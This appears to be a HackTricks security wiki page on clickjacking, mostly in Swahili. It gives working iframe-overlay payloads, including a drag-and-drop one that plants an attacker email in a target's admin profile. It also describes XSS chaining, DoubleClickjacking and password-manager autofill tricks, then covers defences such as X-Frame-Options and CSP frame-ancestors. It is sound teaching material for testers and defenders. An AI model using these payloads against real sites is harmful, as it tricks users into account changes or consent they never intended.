Clickjacking
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Clickjacking ni Nini
Katika shambulio la clickjacking, mtumiaji anadanganywa kubofya kipengee kwenye ukurasa wa wavuti ambacho kinaweza kuwa kisichoonekana au kimefichwa kama kipengee tofauti. Ulaghai huu unaweza kusababisha matokeo yasiyotarajiwa kwa mtumiaji, kama vile kupakua malware, kupelekwa kwenye tovuti zenye madhara, kutoa nyaraka za uthibitisho au taarifa nyeti, kuhamisha pesa, au kununua bidhaa mtandaoni.
Prepopulate forms trick
Wakati mwingine inawezekana kuweka thamani za sehemu za fomu kwa kutumia GET parameters wakati wa kupakia ukurasa. Mshambuliaji anaweza kutumia tabia hii kujaza fomu na data yoyote na kutuma clickjacking payload ili mtumiaji abofye kitufe la Submit.
Populate form with Drag&Drop
Ikiwa unahitaji mtumiaji kujaza fomu lakini hautaki kumuomba moja kwa moja aingize taarifa maalum (kama barua pepe au nywila maalum unazojua), unaweza kumwomba tu Drag&Drop kitu ambacho kitaandika data unayodhibiti kama katika this example.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload ya hatua nyingi
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Ikiwa umebaini XSS attack that requires a user to click kwenye kipengele fulani ili trigger XSS na ukurasa uko vulnerable to clickjacking, unaweza kuvitumia kumdanganya mtumiaji kubofya button/link.
Example:
Umegundua self XSS katika baadhi ya taarifa binafsi za akaunti (maelezo ambayo only you can set and read). Ukurasa wenye form wa kuweka maelezo haya uko vulnerable kwa Clickjacking na unaweza prepopulate form hiyo kwa GET parameters.
Mshambulizi anaweza kuandaa shambulio la Clickjacking kwa ukurasa huo prepopulating form na XSS payload na tricking user ili Submit fomu. Kwa hivyo, when the form is submitted na thamani zikibadilishwa, user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, mbinu hii itaomba mwanaathiri kubofya mara mbili kwenye button ya ukurasa maalum uliowekwa mahali maalum, na kutumia tofauti za timing kati ya mousedown na onclick events ili kupakia ukurasa wa mwanaathiri wakati wa double click hivyo victim actually clicks a legit button in the victim page.
Mfano unaweza kuonekana kwenye video hii: https://www.youtube.com/watch?v=4rGvRRMrD18
Mfano wa code unaweza kupatikana kwenye this page.
Warning
Mbinu hii inaruhusu kumdanganya mtumiaji kubofya mahali moja kwenye ukurasa wa mwanaathiri kuepuka kinga zote dhidi ya clickjacking. Kwa hivyo mshambulizi anahitaji kupata sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
Extensions za browser: DOM-based autofill clickjacking
Mbali na ku-iframe ukurasa za victim, washambuliaji wanaweza kulenga UI elements za browser extension zinazoiingizwa kwenye ukurasa. Password managers hutoa autofill dropdowns karibu na inputs zenye focus; kwa ku-focus uwanja unaodhibitiwa na mshambulizi na kuficha/kuzuia dropdown ya extension (mbinu za opacity/overlay/top-layer), bofya la mtumiaji lililodanganywa linaweza kuchagua item iliyohifadhiwa na kujaza data nyeti kwenye inputs zinazodhibitiwa na mshambulizi. Tofauti hii haiitaji exposure ya iframe na inafanya kazi kabisa kupitia DOM/CSS manipulation.
- Kwa mbinu maalum na PoCs angalia:
Mikakati ya Kupunguza Clickjacking
Client-Side Defenses
Scripts zinazotekelezwa upande wa mteja zinaweza kufanya hatua za kuzuia Clickjacking:
- Kuhakikisha dirisha la application ndilo dirisha kuu au la juu.
- Kufanya frames zote ziwe visible.
- Kuzuia clicks kwenye frames zisizoonekana.
- Kutambua na kuonya watumiaji kuhusu jaribio la Clickjacking.
Hata hivyo, scripti hizi za frame-busting zinaweza kuepukwa:
- Browsers’ Security Settings: Baadhi ya browsers zinaweza kuzuia scripti hizi kulingana na settings zao za usalama au ukosefu wa support ya JavaScript.
- HTML5 iframe sandbox Attribute: Mshambulizi anaweza kubadilisha scripti za frame buster kwa kuweka sandbox attribute na values za allow-forms au allow-scripts bila allow-top-navigation. Hii inazuia iframe kutathmini ikiwa ndilo top window, e.g.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms and allow-scripts values enable actions within the
Ulinzi upande wa seva
X-Frame-Options
The X-Frame-Options HTTP response header inaarifu vivinjari kuhusu uhalali wa kuonyesha ukurasa ndani ya au
- X-Frame-Options: deny - Hakuna domain inaweza ku-frame yaliyomo.
- X-Frame-Options: sameorigin - Tovuti ya sasa pekee inaweza ku-frame yaliyomo.
- X-Frame-Options: allow-from https://trusted.com - ‘uri’ iliyobainishwa pekee inaweza ku-frame ukurasa.
- Kumbuka vikwazo: ikiwa kivinjari hakitawi maelekezo haya, huenda hakiifanyi kazi. Vivinjari vingine vinapendelea maelekezo ya CSP frame-ancestors.
Maelekezo ya Content Security Policy (CSP) frame-ancestors
frame-ancestors directive in CSP ndiyo mbinu inayopendekezwa kwa ulinzi dhidi ya Clickjacking:
- frame-ancestors ‘none’ - Inafanana na X-Frame-Options: deny.
- frame-ancestors ‘self’ - Inafanana na X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Inafanana na X-Frame-Options: allow-from.
Kwa mfano, CSP ifuatayo inaruhusu ku-frame tu kutoka domain ileile:
Content-Security-Policy: frame-ancestors ‘self’;
Maelezo zaidi na mifano changamano yanapatikana kwenye frame-ancestors CSP documentation na Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) na child-src na frame-src
Content Security Policy (CSP) ni hatua ya usalama inayosaidia kuzuia Clickjacking na mashambulizi mengine ya kuingiza code kwa kubainisha vyanzo ambavyo kivinjari kinapaswa kuruhusu kupakia yaliyomo.
frame-src maelekezo
- Inabainisha vyanzo vyenye uhalali kwa frames.
- Inayoboa zaidi kuliko default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Sera hii inaruhusu frames kutoka asili ile ile (self) na https://trusted-website.com.
child-src Direktivu
- Imeanzishwa katika CSP level 2 ili kuweka vyanzo halali kwa web workers na frames.
- Inatumikia kama fallback kwa frame-src na worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Sera hii inaruhusu frames na workers kutoka asili hiyo hiyo (self) na https://trusted-website.com.
Vidokezo vya Matumizi:
- Kuondolewa: child-src inaondolewa taratibu kwa faida ya frame-src na worker-src.
- Tabia ya mbadala: Ikiwa frame-src haipo, child-src inatumika kama fallback kwa frames. Ikiwa zote hazipo, default-src inatumiwa.
- Ufafanuzi Mkali wa Vyanzo: Weka tu vyanzo vinavyoaminika katika maelekezo ili kuzuia matumizi mabaya.
JavaScript: Script za kuvunja frame
Ingawa siyo salama kabisa, script za kuvunja frame zinazotegemea JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti kufungwa ndani ya frame. Mfano:
if (top !== self) {
top.location = self.location
}
Kutumia Anti-CSRF Tokens
- Token Validation: Tumia anti-CSRF tokens katika maombi ya wavuti ili kuhakikisha kwamba maombi zinazobadilisha hali zimetolewa kwa makusudi na mtumiaji na si kupitia ukurasa uliokuwa Clickjacked.
Marejeo
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

